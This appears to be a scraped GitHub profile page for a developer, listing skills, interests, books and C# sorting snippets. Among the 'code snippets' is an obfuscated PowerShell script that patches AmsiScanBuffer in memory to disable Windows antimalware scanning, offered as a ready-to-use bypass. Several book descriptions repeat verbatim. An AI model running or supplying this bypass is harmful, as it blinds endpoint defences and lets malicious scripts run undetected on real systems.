luke-beep / bypass-amsi-powershell Goto Github PK

• 👨‍💻 About Me
• 📊 GitHub Stats
• 💻 Programming Languages
• 🛠️ Frameworks & Technologies
• 🧠 Data Science & Machine Learning
• 🧰 Tools & Tech Stack
• 📚 My Projects
• 💡 Interests & Passions
• 🗂️ Curated Lists
• 🎨 Favorite Themes & Fonts
• 📝 Latest Blog Posts
• 📖 Recommended Books
• 💾 Code Snippets
• 📫 Contact & Connect

Hello, I'm Azrael (LukeHjo), a passionate software developer 🖥️ driven by a deep curiosity about how technology 🚀 can be utilized to solve real-world problems. With a background in both computer science 👨‍💻 and programming, I find myself at the center of coding and creativity, where every line of code is a step towards innovation.

My journey in technology began in my early teens when I discovered the world of programming. Fascinated by the potential of code to bring ideas to life, I spent countless hours learning languages like C and C#, which later became the foundation of my professional skill set.

I believe that software development is not just about writing code; it's about crafting solutions that have a lasting impact. This philosophy drives me to continually learn 📚 and evolve 🌱, ensuring that my work not only solves problems but also contributes positively to the community.

Currently, I am deeply engaged in exploring computer internals ☁️ and hardware 🤖. My goal is to integrate these technologies to create scalable, efficient, and intelligent systems.

While I may not participate in competitions, I actively engage in various tech and programming groups. Sharing knowledge, debating ideas, and staying connected with the latest trends in technology are aspects I thoroughly enjoy.

My personal projects often reflect my interests in data science 📊 and info security 🔒. From developing tools that enhance privacy to creating algorithms that analyze complex data, these projects are a testament to my commitment to lifelong learning and professional growth.

As a technology enthusiast and developer, my expertise spans across a wide range of programming languages. Each language I've learned has significantly contributed to my skill set, allowing me to tackle various challenges in software development, system programming, web development, and more. This list represents the programming languages I use to bring ideas to life and solve complex problems in the world of technology.

• .NET 🖥️
• Python 🐍
• Java ☕
• C++ 🧩
• C# 🛡️
• C 🧠
• Ruby 💎
• Go 🏃
• Swift 🐦
• Kotlin 📱
• Dart 🎯
• R 🔢
• Haskell 🧙‍♂️
• Objective-C 🍏
• COBOL 🏢
• Elixir 💧
• Zig 🔮
• Smalltalk 💬
• Gleam ⭐

My experience spans a diverse range of frameworks and technologies, enabling me to build robust and scalable applications across various domains.

• React
• Node.js
• Django
• Angular
• Vue.js
• Express.js
• Flask
• Spring
• Laravel
• Ruby on Rails
• ASP.NET Core
• Ember.js
• Backbone.js
• Svelte
• Next.js
• Nuxt.js
• Jekyll
• Symfony
• CakePHP
• Bootstrap
• Materialize

I'm particularly fascinated by the power of data 📊 in transforming insights into actionable intelligence 💡.

• TensorFlow 🤖
• PyTorch 🔥
• NumPy 🔢
• SciPy 🧪
• Seaborn 📈

My toolkit includes a variety of tools and technologies that enhance my development workflow and project management.

• Git 🔄
• Platforms like GitHub, GitLab, Bitbucket 🤝
• Azure DevOps, SourceTree for repository management 🗂️

• Docker 🐳
• Orchestration with Kubernetes ⚙️
• Virtualization using VirtualBox, VMware, Hyper-V 📦

I have worked on a variety of projects that reflect my skills and interests in technology.

A comprehensive collection of resources for Windows users, offering tips, tricks, and in-depth guides.

My personal tech blog where I share insights, experiences, and thoughts on various technology-related topics.

My interests in technology are broad and ever-evolving, reflecting my enthusiasm for the field's dynamic nature. Here's a deeper look into areas that I enjoy researching.

Staying ahead of the latest advancements in tech, from emerging software to innovative hardware solutions.

Actively contributing to open-source projects, believing in the collaborative power of community-driven development.

Exploring the integration of hardware and software, particularly interested in IoT and embedded systems.

I curate various lists on GitHub to organize resources and repositories that I find interesting and useful. Here's a quick overview of the lists I maintain:

A collection of themes and fonts that I like, featuring aesthetically pleasing and functional design choices.

Repositories related to software development, encompassing tools, libraries, and frameworks that enhance coding efficiency and capabilities.

Each list reflects my areas of interest and serves as a curated guide for anyone exploring similar topics.

I have a particular interest for themes and fonts that enhance the coding experience, both aesthetically and functionally.

• Nord Theme ❄️: A cool, nordic-blue theme that provides a soothing backdrop for long coding sessions. Its subtle and unobtrusive color palette helps reduce eye strain during extended periods of work.

• Nerd Fonts 🤓: This collection of fonts perfectly blends functionality with style, offering a wide range of choices for developers. The fonts are designed to be visually appealing while also being practical for coding environments.

• Monaspace 🖋️: A beautifully designed, modern, and highly customizable monospace font. It's perfect for coding due to its clarity and readability, which makes focusing on complex code easier.

These themes and fonts not only enhance the visual aspect of my development setup but also contribute to a more comfortable and productive coding experience.

• What is a bootloader? - 📚
• How can Intel ME be malicious? - 🖥️
• Understanding the Assembly family and the x86_64 Architecture - 💡
• Exploring the Power and Versatility of NAND Gates in Digital Logic Circuits - 🔧
• Different form factors in the technology landscape. - 🌐

Check out my blog for more articles and insights!

I'm an avid reader, and I enjoy exploring a variety of genres, from fiction to non-fiction. Here are some of my favorite books.

A comprehensive guide to computer programming, covering a wide range of topics, including algorithms, data structures, and combinatorial algorithms.

A classic book on C programming, covering the fundamentals of the language and its applications.

A practical guide to software construction, covering the entire development process, from initial design to final testing.

A comprehensive guide to C#, covering the language's history, syntax, and applications.

A practical guide to software construction, covering the entire development process, from initial design to final testing.

A practical guide to software construction, covering the entire development process, from initial design to final testing.

A practical guide to software construction, covering the entire development process, from initial design to final testing.

A comprehensive guide to the internal workings of the Windows operating system, covering its architecture, processes, and memory management.

A comprehensive guide to the internal workings of the Windows operating system, covering its architecture, and so much more.

I enjoy exploring new technologies and experimenting with different tools. Here are some of my favorite code snippets.

$_class = @" 
using System;
using System.Runtime.InteropServices;
public class _class {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr lnsgbs, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $_class
$kkkk = 0
$jjjj = [_class]::LoadLibrary("$(('àmsì'+'.dll').nORMaLiZe([chAR]([bYTE]0x46)+[chAr]([BYTE]0x6f)+[chAR]([bYte]0x72)+[chAR]([Byte]0x6d)+[cHar](68*38/38)) -replace [chAr]([byTE]0x5c)+[char](112*87/87)+[ChaR](94+29)+[CHAR](64+13)+[CHAr]([bytE]0x6e)+[CHAR](58+67))")# Replaces FormD characters with FormC characters
$iiii = [_class]::GetProcAddress($jjjj, "$([char](6+59)+[char]([byte]0x6d)+[char](115*58/58)+[char](105+63-63)+[char](83)+[char](96+3)+[char](97)+[char](100+10)+[char](66*20/20)+[char](117)+[char](102*29/29)+[char]([byte]0x66)+[char]([byte]0x65)+[char](114+76-76))") # Get the address of the function with ProcAddress
[_class]::VirtualProtect($iiii, [uint32]5, 0x40, [ref]$kkkk) 

$aaaa = "0x"

$cccc = $aaaa + "B" 


$gggg = $aaaa + "5" 
$cccc = $cccc + "8" 
$ffff = $aaaa + "0" 
$gggg = $gggg + "7" 
$ffff = $ffff + "0" 
$dddd = $aaaa + "8"     
$eeee = $aaaa + "0" 
$eeee = $eeee + "7" 
$bbbb = $aaaa + "C" 
$dddd = $dddd + "0" 
$bbbb = $bbbb + "3" 


$hhhh = [byte[]] ($cccc,$gggg,$ffff,$eeee,+$dddd,+$bbbb) 
[System.Runtime.InteropServices.Marshal]::Copy($hhhh, 0, $iiii, 6)

A simple powershell script to break the AMSI chain.

public static class BubbleSort
{
    public static void Execute(int[] data)
    {
        int n = data.Length;
        for (int i = 0; i < n - 1; i++)
        {
            for (int j = 0; j < n - i - 1; j++)
            {
                if (data[j] <= data[j + 1])
                {
                    continue;
                }

                (data[j], data[j + 1]) = (data[j + 1], data[j]);
            }
        }
    }
}

A simple C# implementation of the bubble sort algorithm.

public static class InsertionSort
{
    public static void Execute(int[] data)
    {
        int n = data.Length;
        for (int i = 1; i < n; ++i)
        {
            int key = data[i];
            int j = i - 1;

            while (j >= 0 && data[j] > key)
            {
                data[j + 1] = data[j];
                j = j - 1;
            }

            data[j + 1] = key;
        }
    }
}

A simple C# implementation of the insertion sort algorithm.

public static class MergeSort
{
    public static void Execute(int[] data)
    {
        int n = data.Length;
        int[] temp = new int[n];
        Sort(data, temp, 0, n - 1);
    }

    private static void Sort(int[] data, int[] temp, int left, int right)
    {
        if (left >= right)
        {
            return;
        }

        int mid = (left + right) / 2;
        Sort(data, temp, left, mid);
        Sort(data, temp, mid + 1, right);
        Merge(data, temp, left, mid, right);
    }

    private static void Merge(int[] data, int[] temp, int left, int mid, int right)
    {
        int i = left;
        int j = mid + 1;
        int k = left;

        while (i <= mid && j <= right)
        {
            if (data[i] <= data[j])
            {
                temp[k] = data[i];
                i++;
            }
            else
            {
                temp[k] = data[j];
                j++;
            }

            k++;
        }

        while (i <= mid)
        {
            temp[k] = data[i];
            i++;
            k++;
        }

        while (j <= right)
        {
            temp[k] = data[j];
            j++;
            k++;
        }

        for (k = left; k <= right; k++)
        {
            data[k] = temp[k];
        }
    }
}

A simple C# implementation of the merge sort algorithm.

public static class QuickSort
{
    public static void Execute(int[] data)
    {
        int n = data.Length;
        Sort(data, 0, n - 1);
    }

    private static void Sort(int[] data, int left, int right)
    {
        if (left >= right)
        {
            return;
        }

        int pivot = data[(left + right) / 2];
        int index = Partition(data, left, right, pivot);
        Sort(data, left, index - 1);
        Sort(data, index, right);
    }

    private static int Partition(int[] data, int left, int right, int pivot)
    {
        while (left <= right)
        {
            while (data[left] < pivot)
            {
                left++;
            }

            while (data[right] > pivot)
            {
                right--;
            }

            if (left <= right)
            {
                (data[left], data[right]) = (data[right], data[left]);
                left++;
                right--;
            }
        }

        return left;
    }
}

A simple C# implementation of the quick sort algorithm.

Should you wish to discuss technology, collaborate on a project, or simply connect, here are the ways to reach me:

• Email: 📧 [email protected]
• GitHub: 🐱 luke-beep
• Twitter: 🐦 @LuckyLukeHjo
• Portfolio: 💼 lukehjo.dev
• Tech Blog: 📝 tech.lukehjo.dev
• Discord: 💬 @luckylukehjo

Feel free to reach out for any inquiries or just to say hi!